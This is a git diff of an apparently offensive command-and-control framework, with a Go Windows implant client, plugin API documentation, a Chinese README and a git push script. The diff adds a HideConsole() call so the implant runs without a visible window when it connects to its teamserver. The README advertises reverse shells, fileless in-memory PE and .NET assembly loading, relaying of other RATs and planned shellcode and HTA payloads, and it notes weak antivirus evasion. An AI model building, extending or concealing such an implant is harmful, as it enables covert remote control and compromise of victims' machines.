diff --git a/ClientGo/Windows/WinMain.exe b/ClientGo/Windows/WinMain.exe index 727736e..fb33add 100644 Binary files a/ClientGo/Windows/WinMain.exe and b/ClientGo/Windows/WinMain.exe differ diff --git a/ClientGo/Windows/go.mod b/ClientGo/Windows/go.mod index c5fe543..541029b 100644 --- a/ClientGo/Windows/go.mod +++ b/ClientGo/Windows/go.mod @@ -8,6 +8,7 @@ require ( github.com/Ne0nd0g/go-clr v1.0.3 // indirect github.com/andreburgaud/crypt2go v1.4.1 // indirect github.com/go-ole/go-ole v1.2.6 // indirect + github.com/gonutz/ide v0.0.0-20200517034207-df64a3832118 // indirect github.com/google/uuid v1.2.0 // indirect github.com/rawk77/goAssembly v0.0.0-20220812015350-2855b85a2fba // indirect github.com/shirou/gopsutil v3.21.11+incompatible // indirect diff --git a/ClientGo/Windows/go.sum b/ClientGo/Windows/go.sum index a999575..c72cff3 100644 --- a/ClientGo/Windows/go.sum +++ b/ClientGo/Windows/go.sum @@ -9,6 +9,8 @@ github.com/andreburgaud/crypt2go v1.4.1 h1:qiVttvdoXLutIP9cvgOIWR4DWf8qFulToVPU4 github.com/andreburgaud/crypt2go v1.4.1/go.mod h1:/63zApooScgRnoJxCK/17N0IdpiilSAHaZYMDRsh6Mc= github.com/go-ole/go-ole v1.2.6 h1:/Fpf6oFPoeFik9ty7siob0G6Ke8QvQEuVcuChpwXzpY= github.com/go-ole/go-ole v1.2.6/go.mod h1:pprOEPIfldk/42T2oK7lQ4v4JSDwmV0As9GaiUsvbm0= +github.com/gonutz/ide v0.0.0-20200517034207-df64a3832118 h1:UDRbotTOMtkuf7TTJQPiSVjdRZqUmi1oGe5fUs2hLww= +github.com/gonutz/ide v0.0.0-20200517034207-df64a3832118/go.mod h1:x+4ZwoglBL1JMgoEUVV5zw/lfCQmcwrhZqox7FuSgSk= github.com/google/uuid v1.2.0 h1:qJYtXnJRWmpe7m/3XlyhrsLrEURqHRM2kxzoxXqyUDs= github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/rawk77/goAssembly v0.0.0-20220812015350-2855b85a2fba h1:eLxrK8xzsBADNL6Fr1PjJk6Egu8wjVr+ACr4fCZMrEs= diff --git a/ClientGo/Windows/main.go b/ClientGo/Windows/main.go index 334ba24..3670c64 100644 --- a/ClientGo/Windows/main.go +++ b/ClientGo/Windows/main.go @@ -13,6 +13,7 @@ import ( "sync" "time" + "github.com/gonutz/ide/w32" "golang.org/x/sys/windows/registry" ) @@ -176,6 +177,22 @@ func (s *TCPClient) CloseConnection() { var ClientWorking bool +func ShowConsole() { + ShowConsoleAsync(w32.SW_SHOW) +} + +func ShowConsoleAsync(commandShow uintptr) { + console := w32.GetConsoleWindow() + if console != 0 { + _, consoleProcID := w32.GetWindowThreadProcessId(console) + if w32.GetCurrentProcessId() == consoleProcID { + w32.ShowWindowAsync(console, commandShow) + } + } +} +func HideConsole() { + ShowConsoleAsync(w32.SW_HIDE) +} func main() { Host := "HostAAAABBBBCCCCDDDD" @@ -188,6 +205,7 @@ func main() { // PcInfo.Host = "192.168.31.81" // PcInfo.Port = "4000" // PcInfo.ListenerName = "asd" + HideConsole() PcInfo.IsDotNetFour = checkDotNetFramework40() ClientWorking = true socket := TCPClient{} diff --git a/Plugins.md b/Plugins.md index 913d707..105fca1 100644 --- a/Plugins.md +++ b/Plugins.md @@ -4,16 +4,6 @@ - - - - - - - - - - # 一.函数原型 ## AddCommand @@ -21,8 +11,8 @@ ```C# public static void AddCommand( string lpName, - string FilePath, - string LoadType, + string filePath, + string loadType, string description, string usage ) @@ -32,8 +22,8 @@ public static void AddCommand( ```C# public void AddMenuItemA( - string MenuName, - string IconPath + string menuName, + string iconPath ) ``` @@ -43,8 +33,8 @@ public static void AddCommand( ```C# public void AddMenuItemB( - string MenuName, - string IconPath, + string menuName, + string iconPath, NLua.LuaFunction clickEvent ) ``` @@ -55,8 +45,8 @@ public void AddMenuItemB( ```C# public void AttackMenuExpand( - string MenuName, - string IconPath, + string menuName, + string iconPath, NLua.LuaFunction clickEvent ) ``` @@ -175,8 +165,8 @@ public ComboBox AddComBox( ```C# public static void ExecuteAssembly( - string FilePath, - string Args + string filePath, + string args ) ``` @@ -186,8 +176,8 @@ public static void ExecuteAssembly( ```C# public static void Inlineassembly( - string FilePath, - string Args + string filePath, + string args ) ``` @@ -196,7 +186,7 @@ public static void ExecuteAssembly( ## GetFileName ```C# -public string GetFileName(string FilePath) +public string GetFileName(string filePath) ``` @@ -204,7 +194,7 @@ public string GetFileName(string FilePath) ## MessageboxA ```C# -public void MessageboxA(string Context) +public void MessageboxA(string conText) ``` @@ -213,8 +203,8 @@ public void MessageboxA(string Context) ```C# public void MenuStripExpand( - string MenuName, - string IconPath, + string menuName, + string iconPath, NLua.LuaFunction clickEvent //Click Event ) ``` @@ -225,8 +215,8 @@ public void MenuStripExpand( ```C# public static void Nopowershell( - string Command, - string OutString + string command, + string outString ) ``` @@ -236,7 +226,7 @@ public static void Nopowershell( ```C# public static void Upload( - string UploadFilePath, + string uploadFilePath, string filePath ) ``` @@ -247,7 +237,7 @@ public static void Upload( ```C# public static void PEloader( - string FilePath, + string filePath, string args ) ``` @@ -255,7 +245,7 @@ public static void PEloader( ## Sessionlog ```C# -public void Sessionlog(string Context) +public void Sessionlog(string conText) ``` diff --git a/README.md b/README.md index 6eab773..5eafb70 100644 --- a/README.md +++ b/README.md @@ -6,9 +6,13 @@ - Teamserver无需安装任何依赖,几乎可以兼容全平台系统 -- 控制端(Controller)支持反弹shell,文件管理、进程管理、网络流量监控、内存加载等基础功能 +- 控制端(Controller)支持反弹shell,文件管理、进程管理、网络流量监控、内存加载、自定义UI背景色等功能 -- 支持内存注入,即文件不落地执行木马,中转第三方C2/RAT +- 支持内存注入PE文件(windows端的RunPE,Linux端的memfd),即文件不落地执行木马,中转第三方C2/RAT + +- 支持内存执行.net 程序集(execute-assembly、inline-assembly) + +- 支持Teamserver托管二进制文件、文本、图片(类似SimpleHttpServer) - 支持团队服务器自定义配置文件,自定义Telegram的chat ID/Token上线通知 @@ -16,7 +20,9 @@ - 用lua实现插件扩展,可以加载90% 以上的外部工具(包含市面上C#/Powershell/C/C++编写的渗透测试工具) -- 用Golang编译后的客户端体积较大,因此免杀效果较差(Golang的编译器特征已经被许多AV/EDR厂商标黑了) +- 用Golang编译后的客户端体积较大,因此免杀效果较差(Golang的编译器特征已经被部分AV/EDR厂商标黑了) + + @@ -78,7 +84,7 @@ demo -## 3.命令列表 +## 命令列表 @@ -97,12 +103,28 @@ demo -## 4.计划开发 +## 计划进行 + +- 用C/C++/C#/Rust编写多阶段加载器(Multi-stage loader),体积尽量控制在150kb以内。 + +- 目前正反向代理和端口转发未开放,未来考虑完善和开发这个功能。 + +- 正在开发WebSocket/RUDP/SMB协议的Session模式,Beacon模式仅考虑开发HTTP/HTTPS/DNS。 +- 考虑开发shellcode(raw)、Powershell、VBscript、Hta、Jscript等载荷。 + +- 编写lua更多的,集成更多的内网渗透插件。 + +- 目前Golang的控制台隐藏问题还无法得到很好的方案,如果您知道如何解决请联系我。 + + + +## 更新 + + -1.目前正反向代理和端口转发未开放,未来会完善这个功能。 +## 免责声明 -2.正在开发WebSocket/RUDP/DNS/SMB协议的Session模式,Beacon模式只考虑开发HTTP/HTTPS +本工具仅用于渗透测试交流和研究,强烈不建议您用于任何的实际用途(包括黑灰产交易和割韭菜), -## 5.更新 \ No newline at end of file diff --git a/github.bat b/github.bat new file mode 100644 index 0000000..97b8a47 --- /dev/null +++ b/github.bat @@ -0,0 +1,5 @@ +set https_proxy=http://127.0.0.1:9999 +git init +git add . +git commit -m "makeW" +git push -f \ No newline at end of file